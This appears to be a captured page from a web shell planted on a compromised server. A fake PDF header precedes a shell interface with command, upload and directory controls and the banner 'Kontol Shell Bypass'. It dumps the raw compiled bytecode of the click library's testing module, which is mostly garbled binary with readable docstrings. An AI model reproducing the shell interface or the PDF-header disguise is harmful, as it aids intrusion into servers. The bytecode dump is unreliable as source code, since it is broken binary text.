%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/click/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/click/__pycache__/testing.cpython-39.pyc
a

�_g�>�@sddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZddlm
Z
ddlmZddlmZejr�ddlmZGd	d
�d
�Zejejeejdd�dd
��ZGdd�dej�Zejejeeejejfeej d�dd�Z!Gdd�d�Z"Gdd�d�Z#dS)�N)�
TracebackType�)�
formatting)�termui)�utils)�_find_binary_reader)�BaseCommandc@s�eZdZejejdd�dd�Zeejd�dd�Ze	e	d�d	d
�Z
dee	d�d
d�Zdee	d�dd�Z
dee	d�dd�Zeje	d�dd�Zeje	d�dd�Zed�dd�ZdS)�EchoingStdinN)�input�output�returncCs||_||_d|_dS)NF)�_input�_output�_paused)�selfr
r�r�:/vddos/python/lib/python3.9/site-packages/click/testing.py�__init__szEchoingStdin.__init__)�xrcCst|j|�S�N)�getattrr
)rrrrr�__getattr__szEchoingStdin.__getattr__)�rvrcCs|js|j�|�|Sr)rr�write)rrrrr�_echoszEchoingStdin._echo���)�nrcCs|�|j�|��Sr)rr
�read�rrrrrr#szEchoingStdin.readcCs|�|j�|��Sr)rr
�read1rrrrr&szEchoingStdin.read1cCs|�|j�|��Sr)rr
�readlinerrrrr )szEchoingStdin.readline�rcs�fdd��j��D�S)Ncsg|]}��|��qSr�r��.0r�rrr�
<listcomp>-�z*EchoingStdin.readlines.<locals>.<listcomp>)r
�	readlinesr%rr%rr(,szEchoingStdin.readlinescst�fdd��jD��S)Nc3s|]}��|�VqdSrr"r#r%rr�	<genexpr>0r'z(EchoingStdin.__iter__.<locals>.<genexpr>)�iterr
r%rr%r�__iter__/szEchoingStdin.__iter__cCs
t|j�Sr)�reprr
r%rrr�__repr__2szEchoingStdin.__repr__)r)r)r)�__name__�
__module__�__qualname__�t�BinaryIOr�str�Anyr�bytesr�intrrr �Listr(�Iteratorr+r-rrrrr	sr	)�streamrccs&|durdVnd|_dVd|_dS)NTF)r)r9rrr�_pause_echo6s
r:csReZdZejeeejdd��fdd�Zeed�dd��Z	eed�dd	��Z
�ZS)
�_NamedTextIOWrapperN)�buffer�name�mode�kwargsrcs$t�j|fi|��||_||_dSr)�superr�_name�_mode)rr<r=r>r?��	__class__rrrAsz_NamedTextIOWrapper.__init__r!cCs|jSr)rAr%rrrr=Hsz_NamedTextIOWrapper.namecCs|jSr)rBr%rrrr>Lsz_NamedTextIOWrapper.mode)r.r/r0r1r2r3r4r�propertyr=r>�
__classcell__rrrCrr;@s�r;)r
�charsetrcCsbt|d�r6tt�tjtj|��}|dur.|Std��|durDd}nt|t�rX|�	|�}t
�|�S)Nrz.Could not find binary reader for input stream.r')�hasattrrr1�cast�IOr4�	TypeError�
isinstancer3�encode�io�BytesIO)r
rGrrrr�make_input_streamQs


rPc@s�eZdZdZddeejeejeeje	ejej
eje	e	efd�dd�Z
eed�dd	��Zeed�d
d��Zeed�dd
��Zed�dd�ZdS)�Resultz3Holds the captured result of an invoked CLI script.N�	CliRunner��runner�stdout_bytes�stderr_bytes�return_value�	exit_code�	exception�exc_infocCs.||_||_||_||_||_||_||_dSrrS)rrTrUrVrWrXrYrZrrrrhs
zResult.__init__r!cCs|jS)z(The (standard) output as unicode string.)�stdoutr%rrrr�sz
Result.outputcCs|j�|jjd��dd�S)z&The standard output as unicode string.�replace�
�
)rU�decoderTrGr\r%rrrr[�s�z
Result.stdoutcCs,|jdurtd��|j�|jjd��dd�S)z%The standard error as unicode string.Nzstderr not separately capturedr\r]r^)rV�
ValueErrorr_rTrGr\r%rrr�stderr�s

�z
Result.stderrcCs,|jrt|j�nd}dt|�j�d|�d�S)N�okay�<� �>)rYr,�typer.)rZexc_strrrrr-�szResult.__repr__)N)r.r/r0�__doc__r5r1�Optionalr4r6�
BaseException�Tuple�TyperrrEr3rr[rar-rrrrrQes(���rQc
@s�eZdZdZdeejejeejefeedd�dd�Z	d	ed
�dd�Z
dejejeejefejeejefd
�dd�Zej
dejejeeejejfejejeejefeejejejejejfd�dd��Zdd	ejejeejefejejeeejejfejejeejefeeejed�dd�Zej
dejejedfejed�dd��ZdS)rRa�The CLI runner provides functionality to invoke a Click command line
    script for unittesting purposes in a isolated environment.  This only
    works in single-threaded systems without any concurrency as it changes the
    global interpreter state.

    :param charset: the character set for the input and output data.
    :param env: a dictionary with environment variables for overriding.
    :param echo_stdin: if this is set to `True`, then reading from stdin writes
                       to stdout.  This is useful for showing examples in
                       some circumstances.  Note that regular prompts
                       will automatically echo the input.
    :param mix_stderr: if this is set to `False`, then stdout and stderr are
                       preserved as independent streams.  This is useful for
                       Unix-philosophy apps that have predictable stdout and
                       noisy stderr, such that each may be measured
                       independently
    �utf-8NFT)rG�env�
echo_stdin�
mix_stderrrcCs ||_|pi|_||_||_dSr)rGrmrnro)rrGrmrnrorrrr�s
zCliRunner.__init__r)�clircCs
|jpdS)z�Given a command object it will return the default program name
        for it.  The default is the `name` attribute or ``"root"`` if not
        set.
        �root)r=)rrprrr�get_default_prog_name�szCliRunner.get_default_prog_name)�	overridesrcCst|j�}|r|�|�|S)z8Returns the environment overrides for invoking a script.)�dictrm�update)rrsrrrr�make_env�s

zCliRunner.make_env)r
rm�colorrc#s�t||j�}d}tj}tj}tj}tj}	dt_|�|�}t	�
�}
|jr^t�
tjt||
��}}t||jddd�t_�|jr�d�_t|
|jddd�t_d}|jr�tjt_nt	�
�}t||jd	dd
d�t_t|�dtjttd��fd
d�
�}t|�dtjttd��fdd�
�}
t|�ttd�dd��}|�dtjtjtjtjttd��fdd�
}tj}tj}tj}tj}|t_|
t_|t_|t_i}z�|��D]R\}}t j!�"|�||<|du�r�zt j!|=Wnt#�y�Yn0n
|t j!|<�q�|
|fVW|��D]B\}}|du�r4zt j!|=Wnt#�y0Yn0n
|t j!|<�q�|t_|t_|t_|t_|t_|t_|t_|	t_n~|��D]B\}}|du�r�zt j!|=Wnt#�y�Yn0n
|t j!|<�q||t_|t_|t_|t_|t_|t_|t_|	t_0dS)anA context manager that sets up the isolation for invoking of a
        command line tool.  This sets up stdin with the given input data
        and `os.environ` with the overrides from the given dictionary.
        This also rebinds some internals in Click to be mocked (like the
        prompt functionality).

        This is automatically done in the :meth:`invoke` method.

        :param input: the input stream to put into sys.stdin.
        :param env: the environment overrides as dictionary.
        :param color: whether the output should contain color codes. The
                      application can still override this explicitly.

        .. versionchanged:: 8.0
            ``stderr`` is opened with ``errors="backslashreplace"``
            instead of the default ``"strict"``.

        .. versionchanged:: 4.0
            Added the ``color`` parameter.
        N�Pz<stdin>�r)�encodingr=r>rz<stdout>�wz<stderr>�backslashreplace)rzr=r>�errors)�promptrcs>tj�|pd�����d�}tj�|�d��tj��|S)N�r]r^)�sysr[rr �rstrip�flush)r~�val��
text_inputrr�
visible_inputs

z*CliRunner.isolation.<locals>.visible_inputcs.tj�|pd�d��tj������d�S)Nrr^r])r�r[rr�r r�)r~r�rr�hidden_inputs
z)CliRunner.isolation.<locals>.hidden_input)�echorcSs*tj�d�}|rtj�|�tj��|S)Nr)r��stdinrr[rr�)r��charrrr�_getchar#s

z%CliRunner.isolation.<locals>._getchar)r9rwrcs|dur�S|Srr)r9rw)�
default_colorrr�should_strip_ansi/sz.CliRunner.isolation.<locals>.should_strip_ansi)N)N)NN)$rPrGr�r�r[rarZFORCED_WIDTHrvrNrOrnr1rIr2r	r;�_CHUNK_SIZEror:rhr3�boolrJr4rZvisible_prompt_funcZhidden_prompt_funcr�rr��items�os�environ�get�	Exception)rr
rmrwZbytes_inputZ
echo_inputZ	old_stdinZ
old_stdoutZ
old_stderrZold_forced_widthZbytes_outputZbytes_errorr�r�r�r�Zold_visible_prompt_funcZold_hidden_prompt_funcZold__getchar_funcZold_should_strip_ansiZold_env�key�valuer)r�r�r�	isolation�s�
�
�
�
�	��

�
zCliRunner.isolation)rp�argsr
rm�catch_exceptionsrw�extrarcKs�d}|j|||d����}	d}
d}d}t|t�r8t�|�}z|�d�}
Wntyb|�|�}
Yn0�z&z|jf|pvd|
d�|��}
Wn�t	�y}z|t
��}t�
tjtjttjf|j�}|dur�d}|dkr�|}t|t��st
j�t|��t
j�d�d}|}WYd}~nFd}~0t�yX}z$|�s4�|}d}t
��}WYd}~n
d}~00Wt
j��|	d��}|j�r�d}n|	d��}n2t
j��|	d��}|j�r�d}n|	d��}0Wd�n1�s�0Yt||||
|||d	�S)
a�Invokes a command in an isolated environment.  The arguments are
        forwarded directly to the command line script, the `extra` keyword
        arguments are passed to the :meth:`~clickpkg.Command.main` function of
        the command.

        This returns a :class:`Result` object.

        :param cli: the command to invoke
        :param args: the arguments to invoke. It may be given as an iterable
                     or a string. When given as string it will be interpreted
                     as a Unix shell command. More details at
                     :func:`shlex.split`.
        :param input: the input data for `sys.stdin`.
        :param env: the environment overrides.
        :param catch_exceptions: Whether to catch any other exceptions than
                                 ``SystemExit``.
        :param extra: the keyword arguments to pass to :meth:`main`.
        :param color: whether the output should contain color codes. The
                      application can still override this explicitly.

        .. versionchanged:: 8.0
            The result object has the ``return_value`` attribute with
            the value returned from the invoked command.

        .. versionchanged:: 4.0
            Added the ``color`` parameter.

        .. versionchanged:: 3.0
            Added the ``catch_exceptions`` parameter.

        .. versionchanged:: 3.0
            The result object has the ``exc_info`` attribute with the
            traceback if available.
        N)r
rmrwr�	prog_namer)r�r�r^rrS)r�rLr3�shlex�split�pop�KeyErrorrr�main�
SystemExitr�rZr1rIrh�Unionr6r4�coder[rr�r��getvaluerorQ)rrpr�r
rmr�rwr�rZZ
outstreamsrWrYrXr��eZe_coder[rarrr�invoke]sd,

  
�
.�zCliRunner.invokezos.PathLike[str])�temp_dirrccs�t��}tj|d�}t�|�z>|VWt�|�|dur�zt�|�Wq�tyZYq�0n6t�|�|dur�zt�|�Wnty�Yn00dS)a�A context manager that creates a temporary directory and
        changes the current working directory to it. This isolates tests
        that affect the contents of the CWD to prevent them from
        interfering with each other.

        :param temp_dir: Create the temporary directory under this
            directory. If given, the created directory is not removed
            when exiting.

        .. versionchanged:: 8.0
            Added the ``temp_dir`` parameter.
        )�dirN)r��getcwd�tempfile�mkdtemp�chdir�shutil�rmtree�OSError)rr��cwd�dtrrr�isolated_filesystem�s"

�
zCliRunner.isolated_filesystem)rlNFT)N)NNF)NNNTF)N)r.r/r0rgr3r1rh�Mappingr�rrrrv�
contextlib�contextmanagerr�r5rJr4r8rjrNrOr��SequencerQr�r�rrrrrR�sd����	����e��rR)$r�rNr�r�r�r�r��typingr1�typesrrrrrZ_compatr�
TYPE_CHECKING�corerr	r�rhr8r:�
TextIOWrapperr;r�r3r5rJr4r2rPrQrRrrrr�<module>s."	�:

Kontol Shell Bypass